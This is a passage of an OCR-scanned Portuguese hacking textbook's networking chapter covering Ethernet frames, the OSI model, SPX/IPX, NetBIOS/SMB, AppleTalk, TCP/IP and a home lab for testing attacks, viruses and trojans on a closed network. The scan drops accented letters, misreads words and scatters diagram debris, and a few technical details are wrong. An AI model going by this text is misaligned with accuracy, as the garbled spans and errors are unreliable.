o diferencia dos outros protocolos que trafegam na rede.
O protocolo nosso "primeiro fIlho", vamos batiz-Io de PROTl (original,
no?). Pode ser que, no mesmo cabo, trafegue o nosso PROTl e outros trs,
criados por seus colegas: MAILl, WEBl e 1M!. Em qualquer momento que se
verifique, h mensagens desses quatro protocolos trafegando simultaneamente. So mensagens independentes e que podem existir no mesmo tempo e espao. fcil observar, pelos nomes dados pelos seus colegas, que o protocolo
MAILl vai carregar mensagens de correio eletrnico, o protocolo WEBl trar
pginas Web para seu navegador e o protocolo IMl permitem conversas entre
programas de mensagens instantneas.
Em algumas situaes, queremos usar um protocolo para transportar pacotes de outros protocolos. Uma dessas situaes quando o nmero de protocolos a transportar na rede muito grande. Nesses casos, cria-se um protocolo
de transporte - sendo s um, o hardware mais fcil de implementar - e
encapsula-se os demais protocolos como se fossem dados em seu payload.
Extrapolando, possvel ter vrios nveis de encapsulamento. Cada um
dos nveis comumente chamado de camada ou layer, e possvel extratificar
a comunicao de dados criando camadas com funes especmcas.

Cabealho

Cabealho

CabeaLho

6
EJ
I

FIm

Os protocolos de mais alto nvel so "envelopados" em outros de uso mais


geral. O processo pode seguir indefmidamente, dependendo das necessidades
de projeto. Cada uma das camadas pode tratar de exigncias especmcas da
rede. Por exemplo, a camada de mais baixo nvel provavelmente cuida dos
aspectos eltricos da comunicao, j a camada mais superior oferece um meio
para que as mensagens do programa que est acessando a rede sejam bem
recebidas na outra ponta do fIo.
3 Bonecas russas que se encaixam uma dentro da outra, da mesma forma que as camadas do modelo
durante o encapsulamento,
iniciando sempre pela menor e "ganhando peso" durante o processo.

441
Redes 1 [

OS!

Universidade 1 ano

Ethernet
Confuso? Talvez a teoria seja, realmente, um pouco hermtica. Alguns exemplos prticos, entretanto, bastaro para mostrar ao leitor que esse mtodo de
guardar um envelope dentro do outro no s fcil de entender como facilita
as coisas para o projetista.
O Ethernet um protocolo de redes de baixo nvel. Ele controla como os
dados trafegam na rede local, tanto no controle do meio fsico (sinais eltricos,
impedncia, etc) como na montagem de um quadro, chamado Ethernet, contendo
informaes sobre endereo de origem, de destino e dados a serem transportados.
Se voc abrir um cabo de rede e colocar um analisador lgico para observar o que
est trafegando, o que vai aparecer na tela um quadro Ethernet. A estrutura de
um quadro Ethernet muito parecida com a do nosso protocolo fictcio. Observe:
Cabecalho

Dados vindos da
camada superior

Ethe'rnet

Rodap
Ethernet

Um quadro Ethernet possui um tamanho entre 64 e 1519 bytes (ou seja,


entre 512 e 12.152 bits).Antes de cada quadro Ethernet, h ainda um trem de
56 bits, alternados entre O e 1, chamado de prembulo e que serve para sincronizar as interfaces de rede4. Um quadro Ethernet completo, incluindo o
prembulo, seria:
10101010

10101010

10101010

10101010

10101010

10101010

10101010

I
Endereco Tamanho
Prembulo SFD Endereco
Destin
Origem doQuadro

"Payload"

46 a 1500

FCS

Os nmeros abaixo de cada campo representam o seu tamanho em bytes.


Depois do trem de pulsos do prembulo, temos o Start Frame Delimiter ou
SFD.Esse campo tem sempre o mesmo valor binrio (10101011) e serve para,
como o nome j diz, indicar o incio "oficial" do quadro. Os prximos dois
campos so o endereo de origem e o de destino das interfaces de rede. Esses
endereos no so configurados pelo usurio. Pelo contrrio, o fabricante da
placa de rede insere, no prprio hardware, um endereo nico no mundo para
cada placa. O endereo Ethernet ou MAC adress, como costuma ser chamado,
possui seis bytes e representado por nmero hexadecimais. Um exemplo:
00 - 00 - lD - Cl - 47 - FO
Os trs primeiros bytes determinam o fabricante da placa. J os trs ltimos, a faixa de endereos que aquele fabricante est autorizado a usar.
4 Para os tcnicos e engenheiros em eletrnica: notem que, como uma seqncia perfeita de zeros e
uns, nada mais temos que uma onda quadrada de freqncia constante - um clock!!!

1451
] Redes1

I Universidade

H4CK3R I

Na lista abaixo, que obviamente est bem simplificada, temos alguns conjuntos
de trs primeiros bytes de endereos MAC, indicando diferentes fabricantes:

00 00 OC - Cisco
00 00 lB - Novell

08 00 09 - Hewlett.Packard
08 00 20 - Sun.Microsystems

02 60 8C - 3Com

08 00 5A

- IBM

Faa uma experincia e verifique o endereo MAC de sua placa de rede. Se


voc est usando um Windows da famlia Win9x, dique em Iniciar, Executar e
rode o programa WINIPCFG. Em um Windows 2000 ou Xp, entre nas suas
configuraes de rede e pea para ver o status da conexo. Clique em suporte,
depois no boto Detalhes. No Linux e em alguns outros Unix, abra um terminal
e use o comando ifconfig.
Voltando ao quadro Ethernet, o prximo campo o tamanho do payload.
um nmero de dois bytes (portanto, 16 bits), e poderia indicar um tamanho
entre 1 e 65.536 para os dados. Na prtica, esse valor varia de 46 a 1500 bytes.
O ltimo campo do frame Ethernet o chamado FCS,ou Frame Check Sequence.
exatamente aquele nmero de verificao que discutimos em nosso protocolo fictcio. Ele gerado em um n de origem em ftrno dos campos de endereo, tamanho
e payload e gravado no campo FCS.Quando o quadro chega no destino, o nmero
calculado de novo e comparado com o FCS. Se ambos forem iguais, o quadro est
bom. Se diferirem, o quadro est corrompido e ser descartado.
Um ltimo elemento, que no faz parte do quadro Ethernet, o chamado
Interframe Gap. Depois que o quadro processado pela mquina destino, a
interface de rede de origem deixa a rede "em silncio" durante um tempo prdefinido por hardware. Dessa forma, todas as outras interfaces da rede podem
estabilizar-se e ficar espera de um novo quadro.
Quadro n+2

Quadro n+1
I

Quadron

I
I

Interframe
Gap

Interframe
Gap

O protocolo Ethernet, sozinho, daria um livro inteiro. No ser preciso, para


nossos propsitos, dissec-Io mais do que apresentamos aqui. Para uma
escovao maior de bits, lembre-se de que a Internet sua amiga.
Como o leitor ver a seguir, apresentaremos um modelo de referncia para a
criao de protocolos. O Ethemet encaixa-se nas camadas 1 e 2 desse modelo
de referncia. Pode parecer estranho ter "adiantado o expediente", falando sobre Ethemet antes de tudo, mas precisvamos de um exemplo prtico de protocolo. Como se pode ver, est tudo dentro do projeto pedaggico ;-)

1461
Redes
1I

Universidade 1ano

o Modelo 051
Podemos dizer que o modelo de referncia OSI(Open Systems Interconnection)
nasceu da necessidade de criar um protocolo que conseguisse se comunicar
entre redes diferentes. As redes antigas de computadores possuam protocolos
proprietrios. Se a empresa X implantasse uma rede, esta s poderia se comunicar e ser expandida com outras redes e equipamentos construdos pela mesma
empresa. A tecnologia utilizada era de conhecimento de apenas um fabricante,
no era possvel adquirir o hardware com uma empresa e instalar a rede com
outra. Os clientes ficavam de mos atadas, pois no havia concorrncia e nem
sempre o fabricante proporcionava a melhor soluo.
Como o prprio nome diz, o OSI um modelo de referncia, no um protocolo. Vamos tentar ilustrar de uma maneira bem simples: pense num processador
de textos. O Microsoft Word, por exemplo. Existem diversos modelos de documentos (chamados templates) a partir dos quais podemos criar nossas prprias cartas, folhas de. rosto de fax ou memorandos. Imagine o modelo de referncia OSI como um template para criar protocolos de rede. Fcil, no?
O modelo foi desenvolvido pela ISO (lntemational Standards Organization),
e tomou-se um padro para que os fabricantes passassem a desenvolver seus
protocolos a partir desse modelo. Ainda assim, voc pode notar que os protocolos existentes no seguem risca essas especificaes, alguns por serem
mais antigos que elas, outros por atingirem a objetivos tcnicos especficos, e
uns poucos por pura arrogncia corporativa.

Camadas
o modelo OSI formado por sete camadas, cada uma com uma funo diferente. As camadas criam um envelope com os dados da camada superior, incluem
seus prprios cabealhos e entregam isso para a camada imediatamente inferior.
Quando o pacote chega na camada de nvel mais baixo, est pronto para ser
transmitido. As camadas so organizadas segundo este modelo:

Aplicao

Apresentao
I Sesso

I Transporte
Rede
3
2

Enlace

Fsica

1471

] Redes 1

I Universidade H4CK3R I

Modelo OSI representado

pelas Matrioshkas

Quando um pacote enviado de um dispositivo que segue o modelo OSI


para outro, as camadas do remetente se comunicam apenas com as camadas
correspondentes no receptor. Isso significa que as camadas identificam os cabealhos equivalentes que foram includos no processo de encapsulamento,
fazendo assim com que o prximo nvel no precise lidar com as informaes
dos nveis anteriores. Trocando em midos, a camada 4 no tem a mnima idia
do que as camadas 3,2 e 1 fazem com os dados. Tudo o que ela sabe que fez
um envelope e o entregou camada 3. L no outro lado da conexo, no receptor, a camada 3 entregar o envelope fechado para que a camada 4 abra. Podem ter havido mudanas de protocolo nas camadas inferiores, fragmentao
de pacotes, troca de ordem, no importa. A camada 4 s quer saber o que est
em seu envelope. Isso vale para todas as camadas e toma o funcionamento de
cada uma independente das outras.
Como dissemos, cada camada possui uma funo especfica. Se tomarmos
como ponto de partida que cada uma delas representa, na realidade, algum
software que desempenha as funes descritas (com exceo da camada 1, que
implementao de hardware), veremos que o modelo proposto, em vez de
ser abstrato, at bem palpvel.
7 - Camada de Aplicao
A camada de aplicao , como o nome j diz, o prprio aplicativo. Em outras
palavras, o programa que voc est usando. Por exemplo, seu navegador Web
est na camada de aplicao, e fala diretamente com o servidor Web que est l
na outra ponta da conexo. H, portanto, uma "conversa a dois" entre os programas. No , verdadeiramente, parte da rede. Do contrrio, essa camada representa todos os programas que querem acessar a rede e no sabem como
faz-Io.A nica forma de os programas que usamos conseguirem se comunicar
com outros programas em outras mquinas "falando" com a camada 6.

1481
Redes1 r

Universidade 1ano

6 - Camada de Apresentao
Chamada, por muitos, de "a camada sem funo" ou "a camada intil". Na
teoria, serve para preparar os dados no domnio local e coloc-Ios em um formato compatvel com procedimentos de transporte. No caminho inverso, padroniza os diferentes tipos de dados de uma forma que qualquer aplicao
possa ser escrita para usar a rede, independente das implementaes das cinco
camadas inferiores. Dois exemplos de servios executados nessa camada so a
criptografia e a compresso de dados. Na prtica, essa funo trivial e
implementada na prpria aplicao.
5 - Camada de Sesso
A camada de sesso responsvel pelo estabelecimento de conexo entre
dois computadores que esto se comunicando. Ela controla o dilogo entre as
aplicaes nos sistemas local e remoto. Tambm possvel agrupar dados em
blocos e marc-Ios depois de enviados. Caso haja uma interrupo na conexo,
a prxima sesso poder recomear a partir do fun do ltimo bloco enviado.

4 - Camadade Transporte
A camada de transporte fornece meios para que os ns local e remoto possam trocar dados. Usando uma analogia um pouco imprecisa, os programas da
camada 4 montam um "cano" entre a camada 5 local e a camada 5 remota. Se os
softwares de camada 5 de ambas as mquinas olharem pelo cano, vero, do
outro lado, seu companheiro. atravs desse encanamento disponibilizado pela
camada 5 que toda a "mgica" das camadas anteriores acontece.
3 - Camada de Rede
At agora, estvamos no mbito exclusivo do software. As camadas anteriores comunicam-se diretamente com o programa correspondente das mquinas remotas. A camada 3, por outro lado, conhece a topologia e a distribuio da rede e sabe como encontrar uma mquina em especial no meio
da selva de endereos e caminhos. A camada de rede no orientada
conexo como a camada de transporte. Os pacotes so enviados sem que se
saiba se vo chegar ou no. Como a conexo estabelecida na camada imediatamente superior (que, por sinal, est encapsulada nesta), isso no chega
a ser um problema.
2 - Camada de Enlace
A camada de enlace responsvel pela comunicao direta entre duas interfaces
numa mesma rede. No tem conhecimento de outras redes alm da sua, funo
da camada superior. Por outro lado, a camada que, na rede de origem e na de
destino, efetivamente recolhe e entrega o pacote interface de rede correta.
Controle e deteco de erros fazem parte do seu mtier.

1491
] Redes
1

I Universidade

H4CK3R I

1 - Camada Fsica
Como o prprio nome indica, a responsvel pelo envio dos quadros para o
meio fisico.A converso feita a partir dos Os e ls do quadro (sistema binrio)
e adaptada para o meio, no caso de um meio eltrico, so transformados em
sinais eltricos, num meio tico, sinais luminosos e assim por diante.

Um exempLo prtico
Para entender melhor, uma pequena alegoria: um jogo, por correspondncia, entre dois enxadristas, um em Teresina e outro em Goinia5. Os enxadristas
so os usurios. O jogo em si (tabuleiro, peas e regras) a aplicao (camada
7). As jogadas so registradas em notao tabular (por exemplo, o movimento
de um cavalo poderia ser B3C5) e escritas em folhas de papel - essa a forma
de apresentao do jogo (camada 6). Note que no basta simplesmente colocar uma papeleta no envelope com a notao da jogada. de bom tom escrever uma carta completa, com data, saudao e assinatura, perguntar como vai a
famlia, o trabalho, frias, etc. para que se crie um vnculo ntimo entre os dois.
Mas como enviar a jogada ao outro enxadrista? Bem, necessrio estabelecer uma sesso (camada 5) de comunicao. Em nosso caso, a requisio da
sesso representada pelos servios da ECT.Colocamos a carta no envelope,
endereamos (no esquea o CEP!), selamos e colocamos na caixa de correio.
Do outro lado, nosso colega vai abrir a carta e estabelecer a sesso.
A ECT responsvel pelo transporte de nossa carta (camada 4). Isso significa criar meios para que uma conexo entre os dois enxadristas seja
estabelecida. Quando colocamos a carta na caixa de correio, esperamos que, de
algum jeito, ela chegue s mos do destinatrio. Os mecanismos usados para
tal no nos interessam.
A ECT separa as cartas por regio, depois por estado, depois por cidade,
depois por logradouro. Uma vez separadas, monta pacotes de cartas destinadas a cada logradouro e os envia para l. Utiliza-se, para tal, uma rede de vias
rodovirias, ferrovirias e aeronuticas (camada 3) e um exrcito de carteiros
para entregar as cartas.
Os caminhes, nibus, avies, motocicletas e as bolsas dos carteiros so os
elementos que transportam os pacotes de cartas dentro de uma mesma rede
viria. Os caminhes s andam nas estradas, os avies s voam, os carteiros s
andam nas cidades. Nenhum deles conhece os detalhes de toda a rota das cartas, sabem apenas como entregar as cartas localmente. So nossa camada 2.
Note que, caso seja preciso trocar de tipo de rede (por exemplo, sair de
um avio e entrar num nibus), nossas cartas so tratadas por funcionrios dos
correios que trabalham em atividades prprias da camada 3. Eles sabem mapear
entre as redes. Os pilotos dos avies, por exemplo, no entendem nada disso.
5 Apesar das facilidades da Internet e da Telefonia, um jogo por cartas mais romntico e mais barato...

150 I
Redes1 [

,0ano

Universidade

Os avies utilizam-se do ar para sustentao e navegao. J os caminhes trafegam pela estradas. Os carteiros andam por cada lugar que mereceriam muitas medalhas (nem o vento, nem a chuva...). O ar, as estradas e os
morros so nossos meios fsicos, por onde feito o transporte de tudo o que
descrevemos nas camadas superiores.
Ufa! Descrevemos pelo modelo OSI, com um exemplo no-tecnolgico
(tanto o correio quanto o xadrez existem h milhares de anos...), um mtodo
de transporte de mensagens entre duas aplicaes. H coisas bem interessantes a se observar nesse exemplo, o que comprova todas as teorias envolvidas
no modelo de referncia.
~ Encapsulamento: A jogada foi encapsulada na notao tabular, que foi
encapsulada na carta, que por sua vez foi encapsulada em um envelope, que
estabeleceu uma sesso de comunicao usando os protocolos de classificao
e transporte dos Correios, que envia pacotes de cartas segundo rotas especficas, que para isso trafegou em veculos que rodavam exclusivamente dentro do
meio fsico especfico para os quais foram feitos.
~ Paridade: Cada uma das camadas possui um emissor e um receptor. O pessoal de classificao e envio (camada 3) "conversa" com o mesmo pessoal da outra
localidade, usando os recursos da camada inferior (o caminho, por exemplo).
~ Conexo: A partir da camada quatro, vemos que todos os procedimentos
precisaram que o emissor e o receptor entrem em negociao. Da camada 3
para baixo, as cartas so transportadas indiscriminadamente, sem se importar
se haver algum l para receb-Ias. No chega a ser um problema: se apenas
uma das camadas estabelecer um canal de conexo permanente, as outras ca-

madas podem trafegar" connection1ess".


~ Independncia: As camadas so completamente independentes. A camada 4 - os setores de recebimento e entrega de cartas - no precisam saber
quais rotas o pessoal da camada trs - os setores de redes de transporte utilizou. Esse pessoal trata de coordenar

os diferentes

meios de transporte

nossa camada 2 -, mas no se preocupa com os problemas inerentes ao transporte - qual caminho designar, combustvel, motorista, problemas com greves, sindicato... J o motorista, alm de no saber por quais outros meios de
transporte as cartas trafegaram, muito menos o contedo de cada carta individual, preocupa-se apenas em gerenciar os problemas inerentes ao seu trabalho: seguir a rota designada pelo pessoal da camada trs, operando o caminho
de acordo com as leis de trnsito, desviando de buracos, atravessando enchentes, etc. Nenhum dos enxadristas (camada 7) sequer se incomoda em conhecer
qualquer uma dessas partes do processo. Para eles, o que vale mexer o cavalo
de acordo com B3C5.

I 51 I
I Redes1

I Universidade

H4CK3R I

SPX!IPX
o Sequenced Packet Exchange/lnternet Packet Exchange o protocolo utilizado pela rede Netware da Novell. Implementa as camadas 3 e 4 do modelo de
referncia OSI, e utiliza, como protocolo de camada 2, exclusivamente o Ethernet.
Por muitos anos, Netware e Ethernet foram considerados sinnimos. Possuem
diversas semelhanas com o TCP/lP. J foram os protocolos mais populares,
mas, sendo o TCP/lP a base da Internet, acabaram caindo em desuso.
~ IPX - O IPX seria o equivalente ao protocolo de redes. uma
implementao muito volumosa e cheia de recursos. Tem algumas caractersticas vantajosas como a deteco de endereos MAC e atribuio automtica
de endereo IPX, ao contrrio de outros protocolos como o Ip, que fazem
com que o usurio tenha de atribuir manualmente um endereo para. cada
interface ou configurar um servio externo que automatize a tarefa.
~ SPX - Da mesma forma que o IPX, o SPX tem correspondncia com o
protocolo OSI de transporte. Uma das caractersticas mais importantes dessa implementao que o SPX tem de receber a confirmao dos pacotes
enviados antes de poder enviar outro, o que traz prejuzos para o desempenho da rede.

Camadas
As camadas do protocolo IPX/SPX atuam praticamente da mesma forma
que no padro TCP/IP; so elas: Aplicao, SPX,IPX, ODI/Ethernet e a camada
de Interface com a Rede.

Aplicao
SPX
IPX
ODI7Eihernet
Interface com a rede
Cada um dos protocolos de todas as camadas Netware foram especialmente projetados para permitir elevada confiabilidade e desempenho. Vrios
flags de controle e sistemas redundantes de verificao de erros e reenvio de
pacotes so empregados. A prpria camada ODI representa um encapsulamento
do protocolo Ethernet para faz-Io atender s exigncias dos projetistas na
Novell. Mas, como nem tudo so flores, aumentar o nmero de controles que
garantam confiabilidade tem como reflexo a queda do desempenho em proporo direta. Esse foi um dos inmeros fatores que contriburam para a derrocada do SPX/lPX como famlia popular de protocolos de rede.
1521
Redes 1 r

Universidade 1ano

NetBI05/ NetBEUI / 5MB / CIF5


No h nada mais manjado

para usurios corporativos

de redes Windows

que a facilidade e a rapidez de compartilhar


com outros colegas alguma impressora ou pasta. possvel at disponibilizar
um drive de CD, CD-R, CD-RW;
DVD, Zip ou mesmo de disquete.
O Network Basic Input Output System foi concebido pela lliM e extendido
pela Microsoft e Novell para uso em suas respectivas redes locais, o PC Network, o
Lan Manager e o Netwate 2.0. Como o nome realmente sugere, o NetBIOS uma
srie de extenses de entrada/sada para que o vell10 sistema operacional MS-DOS e
seus descendentes possam acessar redes locais. O NetBIOS baseia-se em um formato
de mensagens chamado Network Control Blocks (NCB), que trafegavam pela rede
"de carona" nos protocolos de camada 2 existentes. Dentro dos NCBs, trafega um
outro protocolo chamado de Server Message Blocks ou 5MB6, que informa onde
esto as mquinas, quem so elas, quais seus MAC addresses e quais recursos (discos
ou impressoras) tm para compartilhar. Pode ser encontrado agindo sobre placas
do padro Ethernet, Token Ring e num fmado padro Windows NT. O NetBIOS
implementa as funes das camadas 4 (transporte) e 5 (sesso) do modelo de referncia OS!. O 5MB implementa funes das camadas 6 (apresentao) e sete (aplicao). Entretanto, eram apenas intelfaces de programao e no implementao de
protocolos, e nunca foram implementadas as funes correspondentes s camadas
2 (data link) e 3 (rede).
Com o tempo, o NetBIOS foi incorporado
como uma API de programao do
recente
protocolo
conhecido
como NetBEUI
(NetBIOS
Enhanced
User
Interface). S no NetBEUI, a lliM e a Microsoft implementaram,
fmalmente, um
quadro padronizado para transmisso na camada 4. A camada 3, porm, ficou
ainda de fora, no sendo possvel rotear o NetBEUI entre redes diferentes.
A dupla NetBIOS/NetBEUI
sempre foi louvada por seu desempenho em
redes locais, normalmente
pequenas. Entretanto,
sua efetividade
desaparece
em redes com mais de 80 computadores
interligados. As recomendaes
da
poca eram de instalar o NetBEUI com outro protocolo
de camada 3 (como
IPX ou IP) e segmentar a rede. Hoje, sabe-se que tal prtica invivel para
grandes redes, e um tremendo furo de segurana. No primeiro
caso, no se
consegue isolar os segmentos de rede com bridges e muito menos as redes
com roteadores porque a resoluo de nomes e entrega de mensagens entre
estaes se d por meio de broadcasts - mensagens destinadas toda a rede
indiscriminadamente.
O segundo problema bem pior: adicionando capacidades de roteamento ao NetBIOS, abriu-se as portas para que pessoas mal intencionadas em todo o mundo bisbilhotem
em sua rede via Internet sem precisar
de outra ferramenta, alm do Internet Explorer.
A mistura IP/NetBEUI tu ruim que a prpria

Microsoft

descontinuou

suporte a NetBEUI no Windows XP.A soluo usar 5MB (uma implementao


de camada 7) diretamente sobre TCP /lp.
6 As novas verses do 5MB foram rebatizadas
trazerem algumas melhoras e novas caractersticas,

de Comnon

Internet

File 5ystem, mas, apesar de

ainda trata-se do velho e bom 5MB.

1531
] Redes1

I Universidade

H4CK3R I

Camadas
Incrivelmente, as solues baseadas em NetBIOS possuem, hoje em dia,
implementaes para TODAS as camadas do modelo de referncia OSI, com
exceo da camada de rede. O que no chega a ser problema, pois fcil "encostar" o NetBIOS em uma rede IP ou IPX existente. Como se no bastasse,
possvel implementar uma rede Microsoft suprimindo qualquer um dos protocolos de camadas intermedirias, ou mesmo todos. Observe:
5MB/CIFS

/I~

NetBEUI/NetBIOS
RFC1001 RFC1002
No

NetBIOS/TCP/IP
NetBIOS/SPX/IPX

TCP/IP

primeiro caso, temos a implementao original, ou seja, 5MB(Camadas7

e 6) sobre NetBIOS/NetBEUI (5/4) sobre Ethernet (2). Essa era a soluo no


rotevel, pois no h protocolo de camada de redes na cadeia.
No segundo caso, temos 5MB(7/6) sobre NetBIOS (5),TCP/lP (4/3) ou sobre
SPX/lPX (4/3) sobre Ethernet (2). Nessa implementao, temos o conjunto completo de camadas OSI implementadas por algum protocolo. Se por um lado
isso agrada aos redatores de normas, por outro cria uma pilha de protocolos
muito pesada e cheia de furos de segurana. Se for usar a Internet, melhor
no ir por esse caminho.
O terceiro o mais radical. Todos os antigos protocolos NetBIOS foram simplesmente desprezados, uma vez que a Microsoft "deu um jeito" de fazer o
5MB funcionar diretamente sobre TCP/lp. Se por um lado h ganho de desempenho e segurana, perde-se a API facilitada para escrever programas para
rede. Podemos, ento, estratificar esses protocolos (incluindo os externos de
camadas 4, 3 e 2) da seguinte maneira:
5MB/CIFS (7 e 6)
NetBIOS/NetBEUI/NMB

(5 e 4)

TCP/IP ou IPX/SPX (4 e 3)
Ethernet (2 e 1)

Apesar de sua idade e suas falhas, protocolos baseados em 5MB/CIFSso


muito populares ainda hoje pela facilidade com que os usurios podem compartilhar recursos de seus computadores. Em redes bem administradas isso pode
aumentar a produo. Em redes mal administradas, pode aumentar a confuso...
Em ambos os casos, a implementao de redes mais utilizada da face da Terra.

j41
Redes1 r

Universidade 1 ano

Appletalk
O AppletaIk, como o prprio nome sugere, o protocolo proprietrio utilizado
nas redes de computadores Apple. composto por protocolos de transporte e entrega, o ATP(AppleTalkTransport Protocol) e o DDP (Datagram Delivery Protocol),
equivalentes s camadas 4 e 3 do modelo de referncia OSI, respectivamente.

Camadas

Aplicao
Sesso
Transporte
Entrega de Datagramas
Acesso rede

o modelo AppleTalk est dividido em


cinco camadas: aplicao, sesso, transporte, entrega e acesso rede. Muito semelhante com o padro OS!.

TCP/IP
o

protocolo

conhecido

como TCP /lP (Transmission

Control

Protocol!

Internet Protocol) , atualmente, o padro de fato. Foi concebido justamente


para trabalhar nas camadas 3 e 4 do modelo OSI e, portanto, ser completamente rotevel. Sua criao teve propsitos acadmicos e militares, pois foi utilizado
em diversas redes de universidades e de defesa norte-americanas nas dcadas de
70 e 80. O protocolo atingiu a "fama" com a Internet e est implementado em
praticamente todos os sistemas operacionais existentes.

Camadas

o TCP/lP est dividido em diversas camadas, como veremos a seguir:


~ Camada de aplicao: Responsvel pela comunicao entre o protocolo destinado ao transporte e os aplicativos em execuo, como o DNS, FTP,
HTTP e SMTP, entre outros. Corresponde s camadas OSI 7, 6 e 5 e
implementado nos prprios programas (camada 7).
. ~ Camada de Transporte: Cria a conexo virtual entre dois computadores,
exatamente como descrito do modelo OS!.
~ Camada de Internet: Responsvel pela organizao e roteamento
pacotes defmindo seus endereos.
~ Camada de Interface com a Rede:
Responsvel pelo envio dos datagramas proAplicao
venientes da camada de Internet. No faz parte do protocolo TCP/lP,mas um componente obrigatrio. Normalmente usado o proTransporte
Internet
tocolo Ethernet, embora o TCP/lP seja completamente independente e possa trafegar em
Interface com a Rede
meios to dspares como fibras ticas/FDDI,
1inks de rdio, X.25 ou Frame Relay.

dos

1551
] Redes1

I Universidade

H4CK3R

Entendendo o TCP!IP
A famlia de protocolos TCP/lP a base de Internet e da maioria das redes
de computadores espalhadas pelo globo. Para entender como essas redes funcionam, necessrio ter uma noo de como o protocolo TCP/lP gerencia o
envio e recebimento de dados entre dois ns.
Note que chamamos o conjunto de protocolos TCP/lP de famlia. H mais
deles do que apenas esses dois, que do nome famlia (e so, realmente, os
mais importantes). Alm deles, existe o UDP (User Datagram Protocol) e o
ICMP (Internet Control Message Protocol), entre outros. TCP e UDP so protocolos de camada 4, ou seja, propiciam mtodos para que os dados vindos da
camada 5 sejam transportados at o n destino. IP e ICMp'por outro lado, so
protocolos de camada 3, o que significa oferecer insumos para que a camada 4
possa fazer seu servio.
O TCP/lP e protocolos auxiliares esto definidos em uma srie de documentos mantidos pelo Interbet Engineering Task Force (lETF). Procure pelas
RFCs 791,792 e 793 no site oficial: www.ieticom/rfc.htm1.
Embora vamos estudar o TCP/lP com detalhes no captulo complementar
a este, Redes 11,alguns aspectos devem estar claros para que possamos continuar a leitura deste livro.

o protocolo IP
o grande agente transportador

de nossos dados entre as diferentes

redes

o protocolo IP. O protocolo define um pacote de dados, que contm campos


parecidos com os campos que vimos no quadro Ethernet e uma rea para
transportar os dados vindos da camada superior. Entre esses campos, temos os
endereos IP de destino e origem, flags de controle e verso - em suma, tudo o
que se espera de uma implementao real de um protocolo.
Um pacote IP parece-se com este:
Verso

IHL

TamanhoTotal

Tipo de Servio

Identificao
Protocolo
Tempo deVida

"Flags"

Fragmentao

Nmero de Verificao

Endereo IP de origem
Endereo IP Destino
Opes (se houverem)

Dados

56 I
Redes 1 r

Enchimento

Universidade 1ano

Endereo IP
Um nmero de IP contm 4 bytes com tamanho especficos no formato:
000.000.000.000, em que cada byte pode incorporar um valor que vai de O at
255, como em 198.254.10.1. Outra informao pertinente a de que no deve
haver duas mquinas com o mesmo endereo IP em uma mesma rede, pois isso
causaria conflito nas mquinas e uma delas estaria impossibilitada de se
conectar rede.
Mscara
de Rede
Possui o mesmo formato do endereo IP (000.000.000.000), mas afeta
apenas um segmento particular da rede. utilizada para dividir grandes redes
em redes menores, facilitando a administrao e reduzindo trfego exprio.

TCP/UDP
Dentro dos pacotes IP, podemos transportar dois tipos de pacotes de
dados pertencentes camada 4. Um deles, o TCp, o meio utilizado pela maioria dos servios para carregar informaes entre as duas extremidades da
conexo, e possui caractersticas de controle de fluxo e recebimento. O outro
o UDp, mais simples e sem qualquer tipo de controle, mas rpido e com
impacto menor no desempenho da rede.

Portas
O pacote IP est relacionado rede, e portanto sabe apenas levar seus
dados de um lado a outro. J os pacotes TCP e UDP esto mais relacionados
aplicao ou servio que est enviando ou transmitindo os dados. Cada um
desses servios est relacionado a um nmero chamado porta. Por exemplo,
em um servidor qualquer, a porta TCP 80 oferece o servio HTTP,enquanto a
porta UDP 53 pode oferecer um servidor de DNS.

DNS
O Domain Name Server traduz um nome de fcil memorizao em um
nmero de IP.Por exemplo, vamos supor que o IP de um servidor na Internet
seja 200.167.208.1, o DNS poder atribuir um nome a ele para que sua localizao seja mais fcil, como www.siteprocurado.com.br.Ao colocar esse endereo legvel no browser, esse vai entrar em contato com o servidor de DNS e
fazer a converso para nmero IP.

ARP
Similar ao DNS, mas faz a traduo do endereo IP em endereo MAC.
Quando o pacote IP chega rede destino, deve haver um mecanismo que diga
ao pacote para qual mquina ele deve se dirigir. Como o nmero IP est contido no pacote, faz-se uma pergunta a todas as mquinas da rede: "quem tem meu
IP"?A interface configurada com aquele IP responde com o endereo MAC,e o
pacote enviado a ela.
1571

] Redes 1

I Universidade

H4CK3R I

Laboratrio

de Redes

o laboratrio de Redes I tem como objetivo auxiliar o leitor iniciante na


montagem de uma rede domstica. Mas qual a utilidade desse tipo de rede
para o futuro hacker ou administrador? A resposta bem simples: testar tcnicas de ataque e defesa em uma rede fechada. Isso pode englobar desde a instalao de um firewall caseiro at o teste com vrus e trojans.
Obviamente, so necessrios pelo menos dois computadores para que a
rede seja criada. Como a inteno montar uma rede para testes, voc pode
optar por computadores mais antigos e sem tantos recursos, como CD-ROM e
hardware de som. A seguir, vamos conferir os passos para a montagem da rede
desde a parte fsica at as configuraes necessrias.
Recursos necessrios
~ 2 computadores;
~ 2 placas de rede (pCI ou ISA);
~ Cabos de par tranado na configurao cross-over;
~ Sistema operacional (nesse caso, estaremos trabalhando com Wmdows 9x).

Instalao da parte fsica


Aps a escolha das placas de rede, chega o momento de instal-Ias nos
computadores. Essa no uma tarefa difcil, basta apenas que voc tome cuidado para no danificar o equipamento. Aps a abertura do gabinete, devemos
procurar um slot livre para acomodar a placa de rede. Geralmente, eles ficam
situados na parte inferior direita da placa-me, como mostra a figura:

Slot
~
"",,,,,.,,,,,,,,,,,,,,,,,,,,,,,, """ ""
""''''''''''''''''''''''''''''''''''''''''
''''''''''
''''''''''

'''''''''' ,,,,,,,,,,,.,, """ ""


"""''''''''''''''''''
''''''''''

""""""",,,,,,,,,,,,.,,,,,,,
"""""
"""""''''''''''''''''''''''''
"''''''''
''''''''''''''''''''
""" """" "''''' ",
""""""""""""''''''''''''''''''''
""""""""""""""""""""""
""""""""""""''''''''''''''''''''

158 I
Redes 1 r

...............................
.......................

........................
...............................

.11111111111111111.

11111111111111111.

Universidade 1ano

Aps a ftxao da placa, reinicie o computador. Provavelmente o sistema


operacional vai detectar a presena de um novo hardware e apresentar uma
janela com as opes para a instalao. Opte sempre por instalar os drivers
originais que acompanham a placa. O Windows vai concluir a instalao e
ento s repetir o processo no outro computador. Aps decidir onde as mquinas ftcaro localizadas, chega a hora de colocar os cabos para concluir a
parte fsica da rede.
Como estamos tratando da conexo de apenas dois micros, usaremos
cabo conhecido como cross-over. Os cabos de rede possuem pequenos ftos que
devem estar dispostos em uma certa seqncia para que possa haver a troca de
dados, no caso do cross-over, preciso inverter alguns desses ftos. As lojas de
